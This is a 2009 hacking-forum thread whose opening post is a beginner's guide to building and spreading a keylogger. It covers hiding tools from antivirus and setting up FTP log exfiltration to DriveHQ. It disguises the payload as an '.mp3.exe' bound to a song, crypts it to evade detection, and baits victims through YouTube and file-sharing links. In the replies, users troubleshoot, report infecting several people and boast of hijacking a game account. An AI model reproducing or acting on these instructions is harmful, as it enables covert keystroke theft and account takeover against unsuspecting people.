Thread: [\[TuT\] Hacking How Too: Keylogging \[Noob Friendly Guide\]](#)

Vorfin - August 4, 2009, 9:02 am

Please comment after reading to prevent this thread from leaving the first few pages.

I am trying to think of another "Hacking How Too:" guide to write, feel free to post what you think would be useful/needed.

OK, in this guide I will be showing you everything, from getting a keylogger to spreading it.

Firstly what I need you do is to create a directory hidden from your Anti-Virus to keep these tools in.

An example of how to do this (Using AVG 8.5)

Right click the tray icon and open the interface,

Right click "Resident Shield" and then click "open"

Click "Manage Exceptions and then choose a folder E.g.

Code C:\Documents and Settings\User\My Documents\Vorfin's Hacking Stuff

The reason for this is your Anti-virus will auto delete the hacking tools, even if it gives you the option to remove them and you click not to delete, they can still not work.

You could also just turn your anti-virus off however for your own safety I would not advise that.

Next you need a keylogger, if you don't have one don't worry, I have one here you can use.

<http://uploading.com/files/3PBAZK7Q/Keylogger.exe.html>

Mirrors:Spoiler [\(Click to View\)](#)

Megaupload: <http://www.#/?d=WJ8Z9ZOH>

Mediafire: <http://www.mediafire.com/download.php?tdxirzoghll>

#: <http://#.com/files/268126091/Keylogger.exe.html>

Now, once you have downloaded it (make sure you download to the directory hidden to your anti-virus) run the program, don't worry, it is not a keylogger, but what we call a "builder" it is used to create a keylogger.

Next, you need three things.

Firstly you need a DriveHQ account, so go to

Code www.drivehq.com

And sign up. Remember to put in a real e-mail for verification.

Now login to DriveHQ and go to "Online Storage" Create a new folder called.

Code logs

Next you will need a song in .mp3 format, try and find a popular song.

And finally the music video of the same song.

Now, we need to build your server, a server is the thing someone needs to run in order to be infected.

So we open the keylogger you downloaded earlier and you should see this.

[img]<http://img43.imageshack.us/img43/8930/picture1fqm.png>[/img]

Now see at the top were it says servers?

The first one should have some text in, so remove the text and put in this.

Code `ftp://Your DriveHq Username:And Password@ftp.drivehq.com/logs/`

For me it would be,

Code `ftp://vorfin:dog@ftp.drivehq.com/logs/`

Now click "Check" and above it, it should say Status: Server OK.

Next we need to check the first two boxes under "control" and set the "reconnect" to 10 mins.

Ok, we are almost done, under "file" change the icon to the .mp3 icon. (It is the 14th down on the list)

Now change the "save to" to say "Your song.mp3.exe"

Lastly were it says "Bind with an other file" Click browse and select the .mp3 of your song.

Then click create.

Well done, you have just created your first keylogger.

Now you have two options, you can spread it as it is, but it may get picked up by anti-viruses, or you can crypt it, sadly crypters aren't cheap

I would recommend Vaqxine's crypter.

Code <https://hackforums.net/showthread.php?tid=112703>

Your second option is to just spread it as it is.

Firstly right click your server and click "send to" then ".zip"

Now go to Code <http://www.mediafire.com/>

And upload the .zip folder.

Lastly go to YouTube and upload the video of the song you were using, and in the description put something like this.

Code Download the amazing new single from ----- Here for free!! [Your media fire link here]

Congratulations, now just check your DriveHQ account regularly for logs.

Please check out the other [TuTs] in my signature.

Sho0ter - August 4, 2009, 10:11 am

Thnx for the tutorial man.can u hav a virus scan man. As u say "trust no one". hehehehe

Vaqxine - August 4, 2009, 10:12 am

Awesome thread and thanks for recommending.
I'll add you some rep if I haven't already.

Vorfin - August 4, 2009, 10:13 am

I can put a scan, but it is a virus builder, so it is picked up as one.
Thanks Vaq, but I think you already have.

Sho0ter - August 4, 2009, 11:27 am

please can u upload it to someother site like # i would say.

olkoholiks - August 4, 2009, 11:35 am

Nice guide man :) help alot to me :)

lilfrost - August 4, 2009, 11:41 am

very nice toot i will be sure to use <3

hooligan2oo9 - August 4, 2009, 12:32 pm

awesome tut man !

+rep

Simen236 - August 4, 2009, 12:34 pm

I can't seem to start it. Whenever I try to start it it just says. This program is not a valid win32 application. I did what you said in AVG, but it seems like AVG picks it up before I have even saved it somehow.

Vorfin - August 4, 2009, 12:58 pm

(Aug 4, 2009 12:34 PM)Simen236 Wrote: [\[CITE\]](#) I can't seem to start it. Whenever I try to start it it just says. This program is not a valid win32 application. I did what you said in AVG, but it seems like AVG picks it up before I have even saved it somehow.

He is right, I will crypt the builder and re-upload.

<http://uploading.com/files/3PBAZK7Q/Keylogger.exe.html> This one should work.

TomThumb - August 4, 2009, 4:01 pm

are there any keyloggers that i can use on a mac and send to a victim with a mac?

Vorfin - August 4, 2009, 4:57 pm

I believe there are, but i don't know them off hand.

Anarchaos - August 4, 2009, 5:32 pm

i have it all set up and it was working when i tested the keylogger. Now its not sending logs and the logs i did have are now encrypted or something!! i dont know but i cant read them anymore! Can anybody help?

kasumi - August 4, 2009, 5:36 pm

can u give me an RS link for the keylogger...
coz uploading website... always shows a message...

"download limit for ur country is over"

:{(

DeathStryke - August 4, 2009, 5:47 pm
awesome tut :D thanks a lot man

jelte999 - August 8, 2009, 4:18 pm
i even shut down my AVG but when i try to open the keylogger nothing happens, please help

KillerKake - August 8, 2009, 5:36 pm
Nice
I will try then when I am done with FTP stealing.

Nic - August 8, 2009, 11:53 pm
can u pls upload it to another host please

Orias - August 9, 2009, 1:11 am
Where do I find all the logs at?

darrell23 - August 9, 2009, 4:05 am
men i cant open the file.is it because of my anti virus?im using a norton..

NIGHTMARE - August 9, 2009, 4:06 am
So... Turn it off..

HardCandyOnDrugs - August 9, 2009, 8:08 am
thank you sooo much :D

honda - August 9, 2009, 9:54 am
Thanks, What folder will the logs be at at DriveHQ.com?

Wolf - August 9, 2009, 9:59 am
I'd personally like to know how to replace the Windows driver with your own, and have that log to a place of your choice, plus tips on how to write the driver. I would recommend <http://www.brokenthorn.com/Resources/OSDev19.html>

Demented - August 9, 2009, 10:05 am
Good job on this tutorial, should really help the newbies.

HardCandyOnDrugs - August 9, 2009, 11:11 am
i'm really sorry to bother you (i'm such a n00b)
but i don't get the last part, can you please explain how exactly do i spread it?
does my keylogger work even if i close the little window, and if i somehow manage to get all this, where should i look for the keylogged information
i shouldn't even expect the answers to these questions XD
but please :D

AcidAeon - August 9, 2009, 12:31 pm
Thanks a lot, worked for a bit, but then something went wrong. Pm'd you with my problem.

tartou2 - August 9, 2009, 12:41 pm
Great great tutorial. ?
Obviously you worked hard to write it and i appreciate the hard work.
+rep for you Vorfin

Demented - August 9, 2009, 1:29 pm

Not trying to be offensive or anything, but why does the builder look like a keylogger itself?

Vorfin - August 9, 2009, 1:31 pm

(Aug 9, 2009 01:29 PM)Demented Wrote: [\[CITE\]](#) Not trying to be offensive or anything, but why does the builder look like a keylogger itself?

Beuase everyone was complaining that there AV deleted it so I FUDed it lol

skipdr - August 9, 2009, 1:34 pm

what?i don't get it.

½ Hacker - August 11, 2009, 7:57 am

he made it to where your AV doesnt detect it because all the n00bs that dont know what to do are complaining about it being a virus...so thats why it looks like a keylogger its self

Vorfin - August 11, 2009, 8:12 am

(Aug 11, 2009 07:57 AM)Johnny_Sniper Wrote: [\[CITE\]](#) he made it to where your AV doesnt detect it because all the n00bs that dont know what to do are complaining about it being a virus...so thats why it looks like a keylogger its self

exactly, anyone who doesn't realize that it looks like a keylogger, well it won't hurt them, and anyone who knows enough to think it looks suspicious will be smart enough to run it in sandboxie, and see that it is safe.

Sairah85 - August 11, 2009, 8:20 am

Good good work nice tut.

½ Hacker - August 11, 2009, 8:21 am

thx for using my statement as a quote :D

noreply-10 - August 12, 2009, 3:10 pm

@Vorfin:Great tutorial^^. Very clear written step by step

@Vorfin: How can i run things in sandbox? is there a tutorial on HF?

BTW this is not a offens to anybody. You all say that if someone is uploading a keylogger its normal that your virus detects it ... but how can i really be 100% sure it is not keylogging? Is there a way to find that out? like scanning your internet traffic?

Vorfin - August 12, 2009, 4:55 pm

(Aug 12, 2009 03:10 PM)noreply-10 Wrote: [\[CITE\]](#) Great tutorial^^. Very clear written step by step

BTW this is not a offens to anybody. You all say that if someone is uploading a keylogger its normal that your virus detects it ... but how can i really be 100% sure it is not keylogging? Is there a way to find that out? like scanning your internet traffic?

You can scan it on "no virus thanks" and you can normally tell by the type of infections it picks up. You can also run it in sandboxie and take a look at the proses it starts. Too use sandboxie

<https://hackforums.net/showthread.php?tid=49606&highlight=sandboxie>

Vorfin - August 12, 2009, 6:34 pm

Important!: For all those saying that the logs just return this symbol ĩ¿½ I desided to test the server on my self(In sandboxie OFC) and got this as my log, its only small because I set the time to 1 minute.

Spoiler [\(Click to View\)](#)Code

i have the same problem as another guy just had.. "This program is not a valid win32 application"
ive tried the new link too but it aint working :(
ive also tried to shutdown my whole AV but it still aint working :/

Thanks!

olkoholiks - August 15, 2009, 3:53 am

nice tut its going to help a lot of newbies :)

Headbustaz - August 15, 2009, 4:51 am

Nice guide man :) help alot to me :)

andyrobo3 - August 15, 2009, 5:15 am

Are there any free crypters please?

Vorfin - August 15, 2009, 5:23 am

(Aug 15, 2009 05:15 AM)andyrobo3 Wrote: [\[CITE\]](#) Are there any free crypters please?

There are free ones that will make the file UD(Undetectable), this means some AVs will pick it up, others won't.

But for a FUD(Fully Undetectable) crypter they cost money, sometimes you will find a free one, but due to there high usage and the about of people who scan them in the wrong places they become detected very quickly.

Buranbox - August 15, 2009, 7:47 am

Hello, i downloaded this thing then crypted it with :

<http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/Yodas-Crypter.shtml> and then my computer froze when i pressed it as a test, then when i finally got the process to close i still lag ;s where does the file go when u press it?

Vorfin - August 15, 2009, 7:49 am

You mean you ran the server on your self?

Buranbox - August 15, 2009, 7:52 am

ye on another computer, just to test if it really logs my keys

Vorfin - August 15, 2009, 7:53 am

Hmm, OK then but in future I would not advise that, go to drivehq, then check the logs folder, should be a file there.

Buranbox - August 15, 2009, 8:19 am

there is a test file, but there is no other (my own keys)

well now it doesnt lag, but if i send to some1 and their computer freeze i bet they will understand something is wrong when even the mouse doesnt move

Vorfin - August 15, 2009, 8:55 am

(Aug 15, 2009 08:19 AM)Buranbox Wrote: [\[CITE\]](#) there is a test file, but there is no other (my own keys)

well now it doesnt lag, but if i send to some1 and their computer freeze i bet they will understand something is wrong when even the mouse doesnt move

Well this must be a problem on your end, I have tested on about five of my computers and it worked fine with no lag.

HackFox - August 15, 2009, 9:11 am

what is keylogger.exe?? on the link you give?

Vorfin - August 15, 2009, 10:49 am

(Aug 15, 2009 09:11 AM)HackFox Wrote: [\[CITE\]](#) what is keylogger.exe?? on the link you give?
Its the builder, I explained why its like that a few pages back.

reet - August 15, 2009, 11:57 am

im using another keylogger and it cant connect to the ftp server, if my username was reet would it be <ftp://reet@ftp.drivehq.com> ?

.Zyzz - August 15, 2009, 1:28 pm

Great tutorial dude! Helped me a lot!

Ziff - August 15, 2009, 1:47 pm

I'll try this out, thx ^_^

Vorfin - August 15, 2009, 2:15 pm

No it would just be

Code ftp://Your DriveHq Username:And Password@ftp.drivehq.com/logs/But some will have a box for FTP and then another two, one for user name and one for password. If that is the case, enter:
Code ftp.drivehq.comIn the box that says FTP.

What keylogger are you using?

BaDDaRk - August 15, 2009, 2:29 pm

thanks try it....

.

ali123 - August 16, 2009, 8:48 am

this tutorial is very nice and detailed.. however, i was wondering that this comes out as an exe file so you cant really email exe files on either yahoo or gmail or hotmail. so what's the way around it.. how can u send the file to a remote destination if you cant get there physically.

Vorfin - August 16, 2009, 9:03 am

(Aug 16, 2009 08:48 AM)ali123 Wrote: [\[CITE\]](#) this tutorial is very nice and detailed.. however, i was wondering that this comes out as an exe file so you cant really email exe files on either yahoo or gmail or hotmail. so what's the way around it.. how can u send the file to a remote destination if you cant get there physically.

You have to .rar it before sending through msn and stuff, or host it on an uploading site, sadly all Keyloggers/RATs/Stealers have to be .exe, or have another executable file extension.

raj.kiran.hero - August 16, 2009, 12:27 pm

@Vorfin,

Really a good tutorial thank you very much ,but only thing is uploading.com really sucks it does give free download for our country not even for once ,so upload the keylogger.exe (keylogger server maker) in another files sharing like # ,megaupload,ext , and many of our member have told you previously about this ,but i don't know why you didn't take there request into consideration even though you are having such a good sharing attitude :(

Vorfin - August 16, 2009, 12:50 pm

(Aug 16, 2009 12:27 PM)raj.kiran.hero Wrote: [\[CITE\]](#) @Vorfin,

There you go, uploaded a few mirrors.

gtfobeat - August 17, 2009, 4:46 am

thanks ima go try this hope it works for me unlike i stealer but thanks for the tut =D

ill edit wen ive got some stuff hehe =D

Vorfin - August 18, 2009, 1:23 pm

Bump, so new members can see.

Blocky - August 18, 2009, 1:27 pm

Awesome dude like dem snucka wuckas ya know

Vorfin - August 18, 2009, 1:36 pm

(Aug 18, 2009 01:27 PM)Blocky Wrote: [\[CITE\]](#) Awesome dude like dem snucka wuckas ya know
I assume that's a good thing =S So thanks.

alexmx117 - August 18, 2009, 6:30 pm

rofl i feel like such a noob but i got everything working and such the only problem is i ran it myself. how do i get the key logger off me? avg picked it up when it first started running but i accidentally closed it :P is there a way i can stop this key logger? it sent all the keystrokes to my drive hq account

Vorfin - August 18, 2009, 8:55 pm

=S You should not have done that, go to the white had section and read this thread.
<https://hackforums.net/showthread.php?tid=78781>

alexmx117 - August 18, 2009, 10:47 pm

would a restore work because i just forgot that i made one yesterday

SIM-73089 - August 19, 2009, 2:13 am

Nive How To tutorial as always.You are the first to reply to introductions(i always end up 2nd)

NukeIT - August 19, 2009, 2:50 am

Hah! Finally a tutorial which I understand :p

kutugila7395 - August 20, 2009, 6:15 am

thanks for the great tut!

InunoTaishou - August 20, 2009, 3:25 pm

Wicked awesome tutorial!! Thanks for sharing man. Question though, is there any way to make the file created be the same as the one it's binded to? Because I think they're going to know something is up when they download/unzip the file and it's a .exe not a .mp3 lol.

Unless I missed something and you can do this in which case sorry for being a noob :(, i'm completely new to hacking.

Vorfin - August 20, 2009, 5:07 pm

(Aug 20, 2009 03:25 PM)InunoTaishou Wrote: [\[CITE\]](#) Wicked awesome tutorial!! Thanks for sharing

Unless I missed something and you can do this in which case sorry for being a noob :(, i'm completely new to hacking.

No, sorry but you can have it saved as keylogger.mp3.exe and most amateur computer users have "Hide known file types" turned on, in fact it is on as default in Vista I believe, so all they will see is keylogger.mp3

NIGHTMARE - August 20, 2009, 5:22 pm

(Aug 4, 2009 10:01 AM)Vorfin Wrote: [\[CITE\]](#) Well its an .exe file and its hosted on a website so it is .html that's just the link uploading.com gave me.

Don't call virus until you have run in sandboxie or virtual machine.

But if people want to believe your 70 posts and 0 rep over my 600 and 11 rep then go ahead. rofl owned.

Vorfin - August 21, 2009, 4:44 pm

Bump for the newbs to see it.

yak-hack - August 22, 2009, 1:17 am

nice tut man. keep it up

plagued venom - August 22, 2009, 5:50 am

Thanks i've just started and this TUT has helped me out

JONAS_JONAS - August 22, 2009, 7:07 am

so is this still working?

pratik_coolpd - August 22, 2009, 7:30 am

ur thread is awesome but it is in the wrong section it should be in hacking tutorials section

Vorfin - August 22, 2009, 7:44 am

(Aug 22, 2009 07:30 AM)pratik_coolpd Wrote: [\[CITE\]](#) ur thread is awesome but it is in the wrong section it should be in hacking tutorials section

It could be, but with the amount of thread in this section saying "tElI m3 how to kylog!!111!" I thought posting here where they could see it would reduce the problem.

(Aug 22, 2009 07:07 AM)spacemaker14 Wrote: [\[CITE\]](#) so is this still working?

Yep, its still working fine.

nevets04 - August 22, 2009, 9:36 am

Awesome! Thank you, thank you! :D

ofirtwo - August 22, 2009, 9:53 am

thanks!nice one.....

r3da1ur7 - August 22, 2009, 9:53 am

wow! great TUT, thanks but once its crypted, doesnt that change the icon?

happyman980 - August 22, 2009, 12:43 pm

Thank you this helped me so much

Vorfin - August 22, 2009, 12:50 pm

(Aug 22, 2009 09:53 AM)r3da1ur7 Wrote: [\[CITE\]](#) wow! great TUT, thanks but once its crypted, doesnt that change the icon?

It does, but you can download an icon changer to make it what ever you want.

ylexigun - August 22, 2009, 12:51 pm

Since you cant send a exe file by email ,Are it possible to drag and drop the server exe file to a word document and send it by email ?

Vorfin - August 22, 2009, 12:53 pm

(Aug 22, 2009 12:51 PM)ylexigun Wrote: [\[CITE\]](#) Since you cant send a exe file by email ,Are it possible to drag and drop the server exe file to a word document and send it by email ?

You can E-Mail it or send it through MSN if you .rar it.

HappyMans - August 22, 2009, 1:51 pm

Hey ummm bassicclly i tried it on myslef cause i didnt see that harm in it infact i tried it on myslef like a week ago and it hasnt really done anything bad so anyway i tried it on myself and typed some stuff and then checked my logs and basicclly i got to the website that i entered in the keylogger go into the logs file and it has the file i open it andd basicclly for about 30 lines there was this wierd simbol with like letters in a box it looked like ff in a box with other letters and then the last 3 lines were the last 3 things i had typed so how do i like find out what that wierd symbol means

ylexigun - August 22, 2009, 1:58 pm

(Aug 22, 2009 12:53 PM)Vorfin Wrote: [\[CITE\]](#) You can E-Mail it or send it through MSN if you .rar it. Yes i know that , but many people dont have a program for open rar or zip files .

On the net there are many keyloggers for sale, and they say just drag and drop the server exe into a word document and email it to the remote computer.

Are it possible with your logger ?

Will avg or norton , both is free editions detect it ?

Before i used powered keylogger (expensive 70 usd) that logger stay UD for 7 months by avg and norton .

Vorfin - August 22, 2009, 2:05 pm

Are it possible with your logger ?

Will avg or norton detect it ?

yea, this keylogger is free and used a lot, so 99/100 AVs know about it. As for the word thing, I have never heard it before, but as far as I know it has to be .exe to work, or another executable file type.

Cyberworms - August 22, 2009, 2:10 pm

Nice Tut m8! :D it help alot! Keep It Up! :D xD

ylexigun - August 22, 2009, 2:18 pm

Thanks for your quik answer.

I cant remember the names of this logger with that options . but they say drop the exe in a word document , and when the victim open it and click the exe or false icon the server will be installed. Here i found one with Word option

3. Some e-mail systems may block executable attachments - do not worry, however, as this can be avoided. To bypass executable blocking by the remote e-mail server, you can drag and drop the Realtime-Spy module into a WORDPAD or Microsoft Works document. From there you can email this doc file with the embedded executable to the remote user - if they open the doc, and double click the executable - then Realtime-Spy will be installed. Zipping the file with software like Winzip also works. Just tryed it ,with a small game 1.5 mb and send the Doc with exe to my own Hotmail that work perfect.

So i think it also must be posible with a keylogger exe or i am wrong ?

Headbustaz - August 22, 2009, 2:56 pm

i cant open the keylogging i cant open it say the ntvdn cpu has encountered an ilegal instruction cs:0de0.....etc can some one help me out what to do her

johnraenan - August 22, 2009, 3:03 pm

Nice guide...thanks for sharing....

Vorfin - August 22, 2009, 3:15 pm

So i think it also must be posible with a keylogger exe or i am wrong ?

You will have to link me to where you read that, it looks useful, but yeah, if the way you describe it is true, it should work.

(Aug 22, 2009 01:51 PM)Athens_Spider Wrote: [\[CITE\]](#) Hey ummm bassicccally i tried it on myslef cause i didnt see that harm in it infact i tried it on myslef like a week ago and it hasnt really done anything bad so anyway i tried it on myself and typed some stuff and then checked my logs and basicccally i got to the website that i entered in the keylogger go into the logs file and it has the file i open it andd basicccally for about 30 lines there was this wierd simbol with like letters in a box it looked like ff in a box with other letters and then the last 3 lines were the last 3 things i had typed so how do i like find out what that wierd symbol means

I explained this a few pages ago. Also the log re-writes over the one sent 10 mins ago, or however long you set it to send logs.

(Aug 22, 2009 02:56 PM)Headbustaz Wrote: [\[CITE\]](#) i cant open the keylogging i cant open it say the ntvdm cpu has encountered an ilegal instruction
cs:0de0.....etc can some one help me out what to do her
Can your print screen the error, I have not see this before.

Vorfin

Here the link <http://www.realtime-spy.com/> and here direct link
<http://www.realtime-spy.com/howitworks.shtml>

i also see that on many others key logger.

ostwind - August 23, 2009, 6:56 am

Thanks man for your help!!

Articine - August 27, 2009, 8:06 pm

I think i did it:D So if they download it and open it up, will they actually hear the song? Or will it just infect them while they are hopelessly confused with no song.

Oh and am I allowed to +rep or whatever it is cuz this was a good tut and easy to follow.

Edit: I told my friend to download it and I told him what it was. He knows that I will get what he writes but i guess he doesnt care so he downloaded it and I havent recieved anything yet. How long does it take me to get the info?

Gaylord Wesker - August 27, 2009, 8:10 pm

Thanks for the Tutorial on how to keylogg someone!

LeGiTiMaCY - August 27, 2009, 9:57 pm

Is there anyway to get the RS pin logger module to work?

Vorfin - August 28, 2009, 1:03 pm

(Aug 27, 2009 09:57 PM)LeGiTiMaCY Wrote: [\[CITE\]](#) Is there anyway to get the RS pin logger module to work?

Not that I know of, sorry.

Quote:I think i did it:D So if they download it and open it up, will they actually hear the song? Or will it just infect them while they are hopelessly confused with no song.

The song will open, but it may take one or two seconds before it plays. As for logs they should send every 10 minuets if you followed the guide exactly, or however long you set when setting it up.

As for +rep, go here: <https://hackforums.net/subscribe.php>

Srat - August 28, 2009, 1:20 pm

Thanks man, very helpful.

Vivicide - August 28, 2009, 2:30 pm

Excellent guide!...I am a noob and learning the ways of new age and I must say, easy to read, perform and learn. Thank you

bandit63 - August 29, 2009, 2:13 am

Great Guide....ty for the info. One Question...where is the file created and where is it stored on the comp after binding...ty in advance for your help

3DMoTioN - August 29, 2009, 3:50 am

PS : Thanks for the whole tutorial ;)

I guess you sent it as is, and didn't crypt it, chances are the moment they downloaded it, their AV deleted it.

Vaqxination 5.1 is not FUD, but v5.5 is, I would recommend that everyone buys it.

(Sep 1, 2009 08:21 PM)RickyG Wrote: [\[CITE\]](#) Dude, mine only sent 1 log and hasn't updated since. What did i do wrong?

See above, if you don't crypt it, then their AV will delete it.

mSidhu - September 2, 2009, 12:27 pm

How do I crypt it? What program do I use?

Vorfin - September 2, 2009, 12:32 pm

(Sep 2, 2009 12:27 PM)mSidhu Wrote: [\[CITE\]](#) How do I crypt it? What program do I use? That's in the guide, there are lots you can use, I recommend Vaqxine's one.

mSidhu - September 2, 2009, 12:49 pm

Ok, I understand thanks a lot. I have one more problem though I dont got 25 bucks to buy a crypter can you help me find one for free or send me the one you use?

Vorfin - September 2, 2009, 1:08 pm

(Sep 2, 2009 12:49 PM)mSidhu Wrote: [\[CITE\]](#) Ok, I understand thanks a lot. I have one more problem though I dont got 25 bucks to buy a crypter can you help me find one for free or send me the one you use?

Sorry, it would be unfair to share the one I use (I payed for it) But do a search, there are some free ones, but they don't work great. They will only make it undetected on 3/22 Anti-viruses.

wilki1667 - September 2, 2009, 2:20 pm

i love it :D it like most of your work

joao - September 2, 2009, 3:18 pm

well i have been trying to understand how to work with keyloggs and i think i founded how to work with it nice tut dude good work

KingandWolf - September 2, 2009, 4:53 pm

I was so frustrated because I couldn't connect to any ftp servers until I realized I still had a proxy and sock on. >.<

This is a really good guide, perfect for us newbs. I've already gotten ten people by hiding it as a private server. Thank you!

Red Army - September 2, 2009, 6:21 pm

Thanks a lot for this tutorial, I look forward to learning a lot from this website :)

BlackhatError - September 2, 2009, 9:18 pm

When attempting to download the builder I am getting an error that reads: "Destination Folder Access Denied." "You need permission to perform this action." any suggestions on how to get around this would be appreciated.

LouisWilliams - September 2, 2009, 9:30 pm

thank you so much.....

melancholysquid - September 3, 2009, 5:59 am

I tried to download the .exe from all of the mirrors, every time it said it was a trojan, I aborted connection, then it claims it's not a valid win32 application, what has gone wrong?

Tyro - September 3, 2009, 6:06 am

This is a pretty idiot proof tutorial but i would like to add that if you spread that over torrents too you will get alot more than if you just did youtube

Red Army - September 3, 2009, 6:45 am

I will try that Tyro.

Any other places to spread it? I have left it all night and only got 2 downloads, still nothing though..

redhook96 - September 3, 2009, 6:49 am

Yo man this some Nice shit thanks man

Vorfin - September 3, 2009, 7:02 am

Are you the root user? If not that could be problem.

(Sep 3, 2009 05:59 AM)melancholysquid Wrote: [\[CITE\]](#) I tried to download the .exe from all of the mirrors, every time it said it was a trojan, I aborted connection, then it claims it's not a valid win32 application, what has gone wrong?

That is because it is a trojan creator, your anti-virus will pick it up as one, and delete it accordingly.

melancholysquid - September 3, 2009, 7:03 am

(Aug 4, 2009 12:58 PM)Vorfin Wrote: [\[CITE\]](#) He is right, I will crypt the builder and re-upload. <http://uploading.com/files/3PBAZK7Q/Keylogger.exe.html> This one should work.

This is really weird, I'm not currently downloading anything but everytime I try to download it it says "Your IP address is currently downloading a file, please wait".

Vorfin - September 3, 2009, 7:05 am

(Sep 3, 2009 07:03 AM)melancholysquid Wrote: [\[CITE\]](#) This is really weird, I'm not currently downloading anything but everytime I try to download it it says "Your IP address is currently downloading a file, please wait".

Are you behind a proxy? If not give it five minutes, or use a mirror.

melancholysquid - September 3, 2009, 7:11 am

Are you british Mr Vorfin? I just get that feel from you.

I am myself. I'm not behind a proxy so I'll just wait and try again.

Red Army - September 3, 2009, 7:36 am

Ah I just realised I wasn't saving it as song.mp3.exe I saved it as song.exe no wonder nobody will download then play it :P

Trying again now, crypted it too.

hailwood - September 3, 2009, 9:57 am

Nice tutorial - lets give it a go...

Red Army - September 3, 2009, 11:35 am

Still nobody has fallen for it. I need a good way to spread it I guess, I have tried the youtube trick to no avail.

How long is it normally til you get someone?

Eyman - September 3, 2009, 1:18 pm

thx works well..

Vorfin - September 3, 2009, 5:50 pm

It does look confusing doesn't it, but let me explain.

Every log starts with a bunch of ?, don't ask me why, it just does.

Now after that, the "real" log starts, the first bit we see is "#Gunz#" Now this is the name of the window he has open, in the case it is a game called "Gunz"

Next we see the keys he has pressed, now in the game Gunz, you use the ASDW keys to move, and number keys to attack. As you can see, the log as worked perfectly, you just have caught him at a bad time, wait 15 minutes(Or however long you set) And the log will update with the next set of keys he pressed in the last 15 minutes.

xtreempje - September 3, 2009, 5:53 pm

Rofl, sriry i was so stupid , ty for your help lol.
i play gunz too :P
rofl i feel stupid.

1 more question
does it just add more logs or does it overwrite the file?

Vorfin - September 3, 2009, 5:54 pm

It's OK, it looks like a bunch of rubbish the first time for everyone.

xtreempje - September 3, 2009, 5:55 pm

1 more question
does it just add more logs or does it overwrite the file?

Vorfin - September 3, 2009, 5:56 pm

It will overwrite, so if you want when setting up the server you can set the send time to a longer time, as to get bigger logs less often.

shammax - September 5, 2009, 1:14 am

very well explained ty & for continuing to tutor over 17 pages

kezzyp - September 5, 2009, 5:53 am

Buddy thanxs alot, the problem is just that my anti virus wont give me a breathing space to download the keylogger.exe, no matter how i go about downloading it, AVG always fights back. Not funny to me at all, i spent all day trying to get that on my system to no avail. thanx bro, it was a very nice tut

Red Army - September 5, 2009, 6:45 am

Ok for some reason I have got lots of people to download the keylogger, and they even said they opened it (multiple people have explained) and they said they opened it and nothing happened, great I thought, someone fell for it.

I go check my storage...nothing there..

Is the crypter I am using ruining my logger?

I have only got one successful logger so far, BUT HE IS FRENCH. Can't understand shit, trust me to get a French guy.

w3Maniac - September 5, 2009, 7:42 am

Niceeee mate... AVG is pissing me off, I don't know why I even use it x)... tnx anyway

Red Army - September 5, 2009, 8:32 am

Oh wow I have had such a big success today, logging 7 people now :D

This is so fun :D

Vorfin - September 5, 2009, 8:36 am

Yes, some crypters can corrupt your server, but it could have infected them fine, and be logging, however their Firewall could be blocking FTP connections so it can't send.

Red Army - September 5, 2009, 9:27 am

Ah ok thanks a lot, I have quite a few now logging away.

Just trying to understand some of the markings that are used in the logs.

[<] Is back space I am guessing?

What is [T]

What is ^

Oh and once I have read the log can I just delete it and wait for a new update from that same logger?

Thanks a lot once again.

Vorfin - September 5, 2009, 9:31 am

TBH, I have no idea other than [<] is backspace, I don't use this keylogger my self, but I used in the guide as it is the best free FTP one IMO.

[T] could be Tab, and ^ Shift, but that's just a guess.

Red Army - September 5, 2009, 11:16 am

Ah yeah that would make sense I think, thanks.

~#naomi black - SlutLoad.com - Mozilla Firefox#
ig[<]big cock shemale

Made me laugh.

Edit:

Nothing like robbing a RuneScape account, adding the owner in msn and treating his account like a hostage.

HyperactiveJeremy - September 6, 2009, 1:32 pm

Amazing :). Great job.

BlackhatError - September 6, 2009, 6:02 pm

Alright so I have always had a fascination with key loggers ever since my boss asked me to buy and install one on a fellow co-workers computer for company reasons. So you can only imagine my excitement when I came across this Tut. However F-ing Vista in all its F*%^&\$% glory is causing some issues. First I accessed the root administrator account by logging into my usual account and doing the following.

1. Launch the cmd prompt - Make sure you select, 'Run as administrator'
2. Net user administrator entered password here
3. Net user administrator /active:yes
4. Switch User, or logoff
5. Logon as Administrator

Once I had access to the Administrator account I thought I could simply follow your directions and have my key logger. Instead when downloading the file I keep getting the following message:
"Destanation folder access denied" "you need permission to perform this action"

Any help anyone could offer on getting around this would be appreciated.

System information: Windows Vista Ultimate, 32Bit. With 2GB RAM, Intel chip set, service pack 1.

Thanks in advance.

glthegamemaster - September 7, 2009, 2:52 pm

I have to say this tut is godlike lol. I'm a complete noob to all this and even I managed to follow it XD. Right now I'm still working on getting the cryptor from Vaq though but seeing how trusted you are I think it'll work. Good tut :D

Red Army - September 9, 2009, 7:14 am

Something seems to have gone wrong since last night, I have had loads of logs coming in but they stopped last night.

Today I checked again, no logs, which was very unusual, so I decided to test the keylogger builder (where you enter the ftp details and press check) so I clicked check and it came up bad username or password. Yet there is no problem with the username or password, if the builder can't connect then clearly the trojans cannot connect.

What has gone wrong?

Vorfin - September 9, 2009, 7:21 am

(Sep 9, 2009 07:14 AM)Ghostling Wrote: [\[CITE\]](#) Something seems to have gone wrong since last night, I have had loads of logs coming in but they stopped last night.

If you are getting a lot of logs, your FTP may realise that you are keylogging and ban your account. Or the person/people infected might have run an anti-virus scan and removed the keylogger.

Red Army - September 9, 2009, 8:17 am

Not got any message saying I have been banned though, I am using drivehq.

Guess I will have to start from scratch again, damn.

FreestylI3R - September 9, 2009, 2:02 pm

This was my first keylogger ,, nice job +resp4u

IndefiniteBytes - September 19, 2009, 8:54 pm

Im trying to open it . Nothing happens?

iMute - September 19, 2009, 10:21 pm

Great TuT Should Be Moved To The TuT Section.

k1mpman - September 25, 2009, 9:47 am

Gr8 tut m8, loved it :)

Condemned - September 25, 2009, 10:39 am

thanks a lot! ??

Obelisk - September 25, 2009, 10:58 am

Great tut

Thank you!

bhasker - September 25, 2009, 12:01 pm

sir keylogger i downloaded from ur link is not getting installed...wt 2 do... yet the method is very easy...its really great technique...thnx

jamlew - September 25, 2009, 12:33 pm

thanks dude, done this and now waiting ?

kokoiv - September 25, 2009, 7:04 pm

hey, first of all thanks for the great tut. it worked really really well :D

but ive got 1 question... is it actually possible to set the log time less than 10 min? Cause if i put in 2 or 3min its still sending me the logs each 10 min. Not a big problem but would be nice to wait less in the test phase :).

thanks and have a nice day?

PhYzlcX - September 25, 2009, 9:06 pm

Very informing post. I'm definately using.

